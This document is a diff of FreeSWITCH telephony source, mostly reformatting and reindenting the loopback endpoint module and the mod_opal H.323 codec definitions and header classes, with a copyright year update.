DEFINE_H323_CAPAB(FS_G7231A_6,BaseG7231Capab,true,OPAL_G7231A_6k3"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729,BaseG729Capab,H245_AudioCapability::e_g729,OPAL_G729"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729A,BaseG729Capab,H245_AudioCapability::e_g729AnnexA,OPAL_G729A"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729B,BaseG729Capab,H245_AudioCapability::e_g729wAnnexB,OPAL_G729B"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729AB,BaseG729Capab,H245_AudioCapability::e_g729AnnexAwAnnexB,OPAL_G729AB"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_GSM,BaseGSM0610Cap,H245_AudioCapability::e_gsmFullRate,OPAL_GSM0610"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G7231_5, BaseG7231Capab, false, OPAL_G7231_5k3 "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G7231_6, BaseG7231Capab, false, OPAL_G7231_6k3 "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G7231A_5, BaseG7231Capab, true, OPAL_G7231A_5k3 "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G7231A_6, BaseG7231Capab, true, OPAL_G7231A_6k3 "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729, BaseG729Capab, H245_AudioCapability::e_g729, OPAL_G729 "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729A, BaseG729Capab, H245_AudioCapability::e_g729AnnexA, OPAL_G729A "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729B, BaseG729Capab, H245_AudioCapability::e_g729wAnnexB, OPAL_G729B "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G729AB, BaseG729Capab, H245_AudioCapability::e_g729AnnexAwAnnexB, OPAL_G729AB "{sw}")
|
||||
DEFINE_H323_CAPAB(FS_GSM, BaseGSM0610Cap, H245_AudioCapability::e_gsmFullRate, OPAL_GSM0610 "{sw}")
|
||||
|
||||
|
||||
static FSProcess *h323_process = NULL;
|
||||
static FSProcess *h323_process = NULL;
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -97,7 +97,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
|
||||
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause);
|
||||
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
|
||||
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
|
||||
@@ -116,7 +117,7 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
|
||||
rate = codec->implementation->samples_per_second;
|
||||
interval = codec->implementation->microseconds_per_packet / 1000;
|
||||
}
|
||||
|
||||
|
||||
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
|
||||
switch_core_codec_destroy(&tech_pvt->read_codec);
|
||||
}
|
||||
@@ -125,17 +126,13 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
|
||||
switch_core_codec_destroy(&tech_pvt->write_codec);
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate, interval);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate,
|
||||
interval);
|
||||
|
||||
status = switch_core_codec_init(&tech_pvt->read_codec,
|
||||
iananame,
|
||||
NULL,
|
||||
rate,
|
||||
interval,
|
||||
1,
|
||||
SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
|
||||
NULL,
|
||||
switch_core_session_get_pool(session));
|
||||
rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
|
||||
|
||||
if (status != SWITCH_STATUS_SUCCESS || !tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
|
||||
goto end;
|
||||
@@ -144,13 +141,8 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
|
||||
status = switch_core_codec_init(&tech_pvt->write_codec,
|
||||
iananame,
|
||||
NULL,
|
||||
rate,
|
||||
interval,
|
||||
1,
|
||||
SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
|
||||
NULL,
|
||||
switch_core_session_get_pool(session));
|
||||
|
||||
rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
|
||||
|
||||
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_core_codec_destroy(&tech_pvt->read_codec);
|
||||
@@ -160,30 +152,28 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
|
||||
tech_pvt->read_frame.data = tech_pvt->databuf;
|
||||
tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
|
||||
tech_pvt->read_frame.codec = &tech_pvt->read_codec;
|
||||
|
||||
|
||||
|
||||
tech_pvt->cng_frame.data = tech_pvt->cng_databuf;
|
||||
tech_pvt->cng_frame.buflen = sizeof(tech_pvt->cng_databuf);
|
||||
//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
|
||||
tech_pvt->cng_frame.datalen = 2;
|
||||
|
||||
tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
|
||||
tech_pvt->read_codec.implementation->samples_per_packet) * 3;
|
||||
tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
|
||||
tech_pvt->read_codec.implementation->samples_per_packet) * 3;
|
||||
|
||||
switch_core_session_set_read_codec(session, &tech_pvt->read_codec);
|
||||
switch_core_session_set_write_codec(session, &tech_pvt->write_codec);
|
||||
|
||||
|
||||
if (tech_pvt->flag_mutex) {
|
||||
switch_core_timer_destroy(&tech_pvt->timer);
|
||||
}
|
||||
|
||||
read_impl = tech_pvt->read_codec.implementation;
|
||||
|
||||
switch_core_timer_init(&tech_pvt->timer, "soft",
|
||||
read_impl->microseconds_per_packet / 1000,
|
||||
read_impl->samples_per_packet *4,
|
||||
switch_core_session_get_pool(session));
|
||||
|
||||
switch_core_timer_init(&tech_pvt->timer, "soft",
|
||||
read_impl->microseconds_per_packet / 1000, read_impl->samples_per_packet * 4, switch_core_session_get_pool(session));
|
||||
|
||||
|
||||
if (!tech_pvt->flag_mutex) {
|
||||
switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
|
||||
@@ -194,7 +184,7 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
|
||||
tech_pvt->channel = switch_core_session_get_channel(session);
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -217,22 +207,22 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
|
||||
|
||||
channel = switch_core_session_get_channel(session);
|
||||
switch_assert(channel != NULL);
|
||||
|
||||
|
||||
|
||||
|
||||
if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND) && !switch_test_flag(tech_pvt, TFLAG_BLEG)) {
|
||||
|
||||
|
||||
if (!(b_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
if (switch_core_session_read_lock(b_session) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
|
||||
switch_core_session_destroy(&b_session);
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
switch_core_session_add_stream(b_session, NULL);
|
||||
b_channel = switch_core_session_get_channel(b_session);
|
||||
b_tech_pvt = (private_t *) switch_core_session_alloc(b_session, sizeof(*b_tech_pvt));
|
||||
@@ -244,7 +234,7 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
|
||||
switch_core_session_destroy(&b_session);
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
caller_profile = switch_caller_profile_clone(b_session, tech_pvt->caller_profile);
|
||||
caller_profile->source = switch_core_strdup(caller_profile->pool, modname);
|
||||
switch_channel_set_caller_profile(b_channel, caller_profile);
|
||||
@@ -260,16 +250,16 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
|
||||
//b_tech_pvt->other_channel = channel;
|
||||
|
||||
b_tech_pvt->other_uuid = switch_core_session_strdup(b_session, switch_core_session_get_uuid(session));
|
||||
|
||||
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_LINKED);
|
||||
switch_set_flag_locked(b_tech_pvt, TFLAG_LINKED);
|
||||
switch_set_flag_locked(b_tech_pvt, TFLAG_BLEG);
|
||||
|
||||
|
||||
switch_channel_set_flag(channel, CF_ACCEPT_CNG);
|
||||
|
||||
switch_channel_set_flag(channel, CF_ACCEPT_CNG);
|
||||
//switch_ivr_transfer_variable(session, tech_pvt->other_session, "process_cdr");
|
||||
switch_ivr_transfer_variable(session, tech_pvt->other_session, NULL);
|
||||
|
||||
|
||||
switch_channel_set_variable(channel, "other_loopback_leg_uuid", switch_channel_get_uuid(b_channel));
|
||||
switch_channel_set_variable(b_channel, "other_loopback_leg_uuid", switch_channel_get_uuid(channel));
|
||||
|
||||
@@ -279,10 +269,10 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
|
||||
goto end;
|
||||
}
|
||||
} else if ((tech_pvt->other_session = switch_core_session_locate(tech_pvt->other_uuid))) {
|
||||
tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
|
||||
tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
|
||||
tech_pvt->other_channel = switch_core_session_get_channel(tech_pvt->other_session);
|
||||
}
|
||||
|
||||
|
||||
if (!tech_pvt->other_session) {
|
||||
switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
|
||||
@@ -292,7 +282,7 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
|
||||
switch_channel_set_variable(channel, "loopback_leg", switch_test_flag(tech_pvt, TFLAG_BLEG) ? "B" : "A");
|
||||
switch_channel_set_state(channel, CS_ROUTING);
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -301,7 +291,7 @@ static void do_reset(private_t *tech_pvt)
|
||||
{
|
||||
switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_CNG);
|
||||
|
||||
|
||||
switch_mutex_lock(tech_pvt->mutex);
|
||||
if (tech_pvt->other_tech_pvt) {
|
||||
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
|
||||
@@ -333,14 +323,14 @@ static switch_status_t channel_on_routing(switch_core_session_t *session)
|
||||
extension = switch_caller_extension_new(session, app, app);
|
||||
switch_caller_extension_add_application(session, extension, "pre_answer", NULL);
|
||||
switch_caller_extension_add_application(session, extension, app, arg);
|
||||
|
||||
|
||||
switch_channel_set_caller_extension(channel, extension);
|
||||
switch_channel_set_state(channel, CS_EXECUTE);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -356,7 +346,7 @@ static switch_status_t channel_on_execute(switch_core_session_t *session)
|
||||
assert(tech_pvt != NULL);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(channel));
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -373,11 +363,11 @@ static switch_status_t channel_on_destroy(switch_core_session_t *session)
|
||||
|
||||
if (tech_pvt) {
|
||||
switch_core_timer_destroy(&tech_pvt->timer);
|
||||
|
||||
|
||||
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
|
||||
switch_core_codec_destroy(&tech_pvt->read_codec);
|
||||
}
|
||||
|
||||
|
||||
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
|
||||
switch_core_codec_destroy(&tech_pvt->write_codec);
|
||||
}
|
||||
@@ -416,7 +406,7 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
|
||||
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_LINKED);
|
||||
tech_pvt->other_tech_pvt = NULL;
|
||||
}
|
||||
|
||||
|
||||
if (tech_pvt->other_session) {
|
||||
switch_channel_hangup(tech_pvt->other_channel, switch_channel_get_cause(channel));
|
||||
switch_core_session_rwunlock(tech_pvt->other_session);
|
||||
@@ -424,7 +414,7 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
|
||||
tech_pvt->other_session = NULL;
|
||||
}
|
||||
switch_mutex_unlock(tech_pvt->mutex);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -494,7 +484,8 @@ static switch_status_t channel_on_reset(switch_core_session_t *session)
|
||||
switch_assert(tech_pvt != NULL);
|
||||
|
||||
do_reset(tech_pvt);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n",
|
||||
switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -503,7 +494,8 @@ static switch_status_t channel_on_hibernate(switch_core_session_t *session)
|
||||
{
|
||||
switch_assert(switch_core_session_get_private(session));
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n",
|
||||
switch_channel_get_name(switch_core_session_get_channel(session)));
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -555,15 +547,15 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
if (!switch_test_flag(tech_pvt, TFLAG_LINKED)) {
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
*frame = NULL;
|
||||
|
||||
|
||||
if (!switch_channel_ready(channel)) {
|
||||
goto end;
|
||||
}
|
||||
|
||||
switch_core_timer_next(&tech_pvt->timer);
|
||||
|
||||
|
||||
mutex = tech_pvt->mutex;
|
||||
switch_mutex_lock(mutex);
|
||||
|
||||
@@ -578,7 +570,7 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
} else {
|
||||
switch_set_flag(tech_pvt, TFLAG_CNG);
|
||||
}
|
||||
|
||||
|
||||
if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
|
||||
unsigned char data[SWITCH_RECOMMENDED_BUFFER_SIZE];
|
||||
uint32_t flag = 0;
|
||||
@@ -598,28 +590,24 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
|
||||
data,
|
||||
tech_pvt->read_codec.implementation->decoded_bytes_per_packet,
|
||||
tech_pvt->read_codec.implementation->actual_samples_per_second,
|
||||
tech_pvt->cng_frame.data,
|
||||
&tech_pvt->cng_frame.datalen,
|
||||
&rate,
|
||||
&flag);
|
||||
tech_pvt->cng_frame.data, &tech_pvt->cng_frame.datalen, &rate, &flag);
|
||||
if (encode_status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
|
||||
switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (*frame) {
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
} else {
|
||||
status = SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
if (mutex) {
|
||||
switch_mutex_unlock(mutex);
|
||||
@@ -633,7 +621,7 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
|
||||
switch_channel_t *channel = NULL;
|
||||
private_t *tech_pvt = NULL;
|
||||
switch_status_t status = SWITCH_STATUS_FALSE;
|
||||
|
||||
|
||||
channel = switch_core_session_get_channel(session);
|
||||
switch_assert(channel != NULL);
|
||||
|
||||
@@ -645,16 +633,14 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
|
||||
}
|
||||
|
||||
switch_mutex_lock(tech_pvt->mutex);
|
||||
if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
|
||||
tech_pvt->other_tech_pvt &&
|
||||
switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
|
||||
switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
|
||||
if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
|
||||
tech_pvt->other_tech_pvt &&
|
||||
switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
|
||||
switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
|
||||
switch_channel_test_flag(tech_pvt->channel, CF_BRIDGED) &&
|
||||
switch_channel_test_flag(tech_pvt->other_channel, CF_BRIDGED) &&
|
||||
switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
|
||||
switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) &&
|
||||
!--tech_pvt->bowout_frame_count <= 0
|
||||
) {
|
||||
switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) && !--tech_pvt->bowout_frame_count <= 0) {
|
||||
const char *a_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
|
||||
const char *b_uuid = switch_channel_get_variable(tech_pvt->other_channel, SWITCH_SIGNAL_BOND_VARIABLE);
|
||||
const char *vetoa, *vetob;
|
||||
@@ -664,15 +650,15 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
|
||||
|
||||
vetoa = switch_channel_get_variable(tech_pvt->channel, "loopback_bowout");
|
||||
vetob = switch_channel_get_variable(tech_pvt->other_tech_pvt->channel, "loopback_bowout");
|
||||
|
||||
|
||||
if ((!vetoa || switch_true(vetoa)) && (!vetob || switch_true(vetob))) {
|
||||
switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
|
||||
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
|
||||
|
||||
|
||||
if (a_uuid && b_uuid) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"%s detected bridge on both ends, attempting direct connection.\n", switch_channel_get_name(channel));
|
||||
|
||||
|
||||
/* channel_masquerade eat your heart out....... */
|
||||
switch_ivr_uuid_bridge(a_uuid, b_uuid);
|
||||
switch_mutex_unlock(tech_pvt->mutex);
|
||||
@@ -681,7 +667,7 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
|
||||
}
|
||||
}
|
||||
|
||||
if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
|
||||
if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
|
||||
switch_frame_t *clone;
|
||||
|
||||
if (frame->codec->implementation != tech_pvt->write_codec.implementation) {
|
||||
@@ -701,7 +687,7 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
|
||||
|
||||
switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
|
||||
}
|
||||
|
||||
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -720,7 +706,7 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
|
||||
|
||||
tech_pvt = switch_core_session_get_private(session);
|
||||
switch_assert(tech_pvt != NULL);
|
||||
|
||||
|
||||
switch (msg->message_id) {
|
||||
case SWITCH_MESSAGE_INDICATE_ANSWER:
|
||||
if (tech_pvt->other_channel && !switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
|
||||
@@ -734,7 +720,7 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
|
||||
break;
|
||||
case SWITCH_MESSAGE_INDICATE_BRIDGE:
|
||||
{
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
|
||||
}
|
||||
break;
|
||||
case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
|
||||
@@ -767,17 +753,18 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
|
||||
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
|
||||
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
|
||||
switch_call_cause_t *cancel_cause)
|
||||
{
|
||||
char name[128];
|
||||
|
||||
@@ -808,7 +795,7 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
switch_core_session_destroy(new_session);
|
||||
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
|
||||
}
|
||||
|
||||
|
||||
if (outbound_profile) {
|
||||
char *dialplan = NULL, *context = NULL;
|
||||
|
||||
@@ -833,7 +820,7 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
|
||||
if ((context = strchr(caller_profile->destination_number, '/'))) {
|
||||
*context++ = '\0';
|
||||
|
||||
|
||||
if ((dialplan = strchr(context, '/'))) {
|
||||
*dialplan++ = '\0';
|
||||
}
|
||||
@@ -846,7 +833,7 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
caller_profile->dialplan = switch_core_strdup(caller_profile->pool, dialplan);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (zstr(caller_profile->context)) {
|
||||
caller_profile->context = switch_core_strdup(caller_profile->pool, "default");
|
||||
}
|
||||
@@ -857,7 +844,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
|
||||
switch_snprintf(name, sizeof(name), "loopback/%s-a", caller_profile->destination_number);
|
||||
switch_channel_set_name(channel, name);
|
||||
switch_channel_set_flag(channel, CF_OUTBOUND);
|
||||
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
|
||||
switch_channel_set_caller_profile(channel, caller_profile);
|
||||
tech_pvt->caller_profile = caller_profile;
|
||||
@@ -866,9 +852,9 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
|
||||
switch_core_session_destroy(new_session);
|
||||
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
|
||||
}
|
||||
|
||||
|
||||
switch_channel_set_state(channel, CS_INIT);
|
||||
|
||||
|
||||
return SWITCH_CAUSE_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -885,10 +871,9 @@ static switch_state_handler_table_t channel_event_handlers = {
|
||||
/*.on_consume_media */ channel_on_consume_media,
|
||||
/*.on_hibernate */ channel_on_hibernate,
|
||||
/*.on_reset */ channel_on_reset,
|
||||
/*.on_park*/ NULL,
|
||||
/*.on_reporting*/ NULL,
|
||||
/*.on_destroy*/ channel_on_destroy
|
||||
|
||||
/*.on_park */ NULL,
|
||||
/*.on_reporting */ NULL,
|
||||
/*.on_destroy */ channel_on_destroy
|
||||
};
|
||||
|
||||
static switch_io_routines_t channel_io_routines = {
|
||||
|
||||
@@ -54,101 +54,97 @@ class FSManager;
|
||||
|
||||
|
||||
struct mod_opal_globals {
|
||||
int trace_level;
|
||||
char *codec_string;
|
||||
char *context;
|
||||
char *dialplan;
|
||||
int trace_level;
|
||||
char *codec_string;
|
||||
char *context;
|
||||
char *dialplan;
|
||||
};
|
||||
|
||||
extern struct mod_opal_globals mod_opal_globals;
|
||||
|
||||
|
||||
class FSProcess : public PLibraryProcess {
|
||||
PCLASSINFO(FSProcess, PLibraryProcess);
|
||||
class FSProcess:public PLibraryProcess {
|
||||
PCLASSINFO(FSProcess, PLibraryProcess);
|
||||
|
||||
public:
|
||||
FSProcess();
|
||||
~FSProcess();
|
||||
public:
|
||||
FSProcess();
|
||||
~FSProcess();
|
||||
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
|
||||
FSManager & GetManager() const { return *m_manager; }
|
||||
|
||||
protected:
|
||||
FSManager * m_manager;
|
||||
FSManager & GetManager() const {
|
||||
return *m_manager;
|
||||
} protected:
|
||||
FSManager * m_manager;
|
||||
};
|
||||
|
||||
|
||||
struct FSListener {
|
||||
FSListener() {
|
||||
}
|
||||
|
||||
PString name;
|
||||
OpalTransportAddress listenAddress;
|
||||
PString localUserName;
|
||||
PString gatekeeper;
|
||||
FSListener() {
|
||||
} PString name;
|
||||
OpalTransportAddress listenAddress;
|
||||
PString localUserName;
|
||||
PString gatekeeper;
|
||||
};
|
||||
|
||||
|
||||
class FSCall : public OpalCall {
|
||||
PCLASSINFO(FSCall, OpalCall);
|
||||
class FSCall:public OpalCall {
|
||||
PCLASSINFO(FSCall, OpalCall);
|
||||
public:
|
||||
FSCall(OpalManager & manager);
|
||||
virtual PBoolean OnSetUp(OpalConnection & connection);
|
||||
FSCall(OpalManager & manager);
|
||||
virtual PBoolean OnSetUp(OpalConnection & connection);
|
||||
};
|
||||
|
||||
|
||||
class FSManager : public OpalManager {
|
||||
PCLASSINFO(FSManager, OpalManager);
|
||||
class FSManager:public OpalManager {
|
||||
PCLASSINFO(FSManager, OpalManager);
|
||||
|
||||
public:
|
||||
FSManager();
|
||||
public:
|
||||
FSManager();
|
||||
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
|
||||
switch_status_t ReadConfig(int reload);
|
||||
switch_status_t ReadConfig(int reload);
|
||||
|
||||
switch_endpoint_interface_t *GetSwitchInterface() const {
|
||||
return m_FreeSwitch;
|
||||
}
|
||||
|
||||
virtual OpalCall * CreateCall(void * userData);
|
||||
switch_endpoint_interface_t *GetSwitchInterface() const {
|
||||
return m_FreeSwitch;
|
||||
} virtual OpalCall *CreateCall(void *userData);
|
||||
|
||||
private:
|
||||
switch_endpoint_interface_t *m_FreeSwitch;
|
||||
switch_endpoint_interface_t *m_FreeSwitch;
|
||||
|
||||
H323EndPoint *m_h323ep;
|
||||
IAX2EndPoint *m_iaxep;
|
||||
FSEndPoint *m_fsep;
|
||||
H323EndPoint *m_h323ep;
|
||||
IAX2EndPoint *m_iaxep;
|
||||
FSEndPoint *m_fsep;
|
||||
|
||||
PString m_gkAddress;
|
||||
PString m_gkIdentifer;
|
||||
PString m_gkInterface;
|
||||
PString m_gkAddress;
|
||||
PString m_gkIdentifer;
|
||||
PString m_gkInterface;
|
||||
|
||||
list < FSListener > m_listeners;
|
||||
list < FSListener > m_listeners;
|
||||
};
|
||||
|
||||
|
||||
class FSConnection;
|
||||
typedef struct {
|
||||
switch_timer_t read_timer;
|
||||
switch_codec_t read_codec;
|
||||
switch_codec_t write_codec;
|
||||
switch_timer_t read_timer;
|
||||
switch_codec_t read_codec;
|
||||
switch_codec_t write_codec;
|
||||
|
||||
switch_timer_t vid_read_timer;
|
||||
switch_codec_t vid_read_codec;
|
||||
switch_codec_t vid_write_codec;
|
||||
FSConnection *me;
|
||||
switch_timer_t vid_read_timer;
|
||||
switch_codec_t vid_read_codec;
|
||||
switch_codec_t vid_write_codec;
|
||||
FSConnection *me;
|
||||
} opal_private_t;
|
||||
|
||||
|
||||
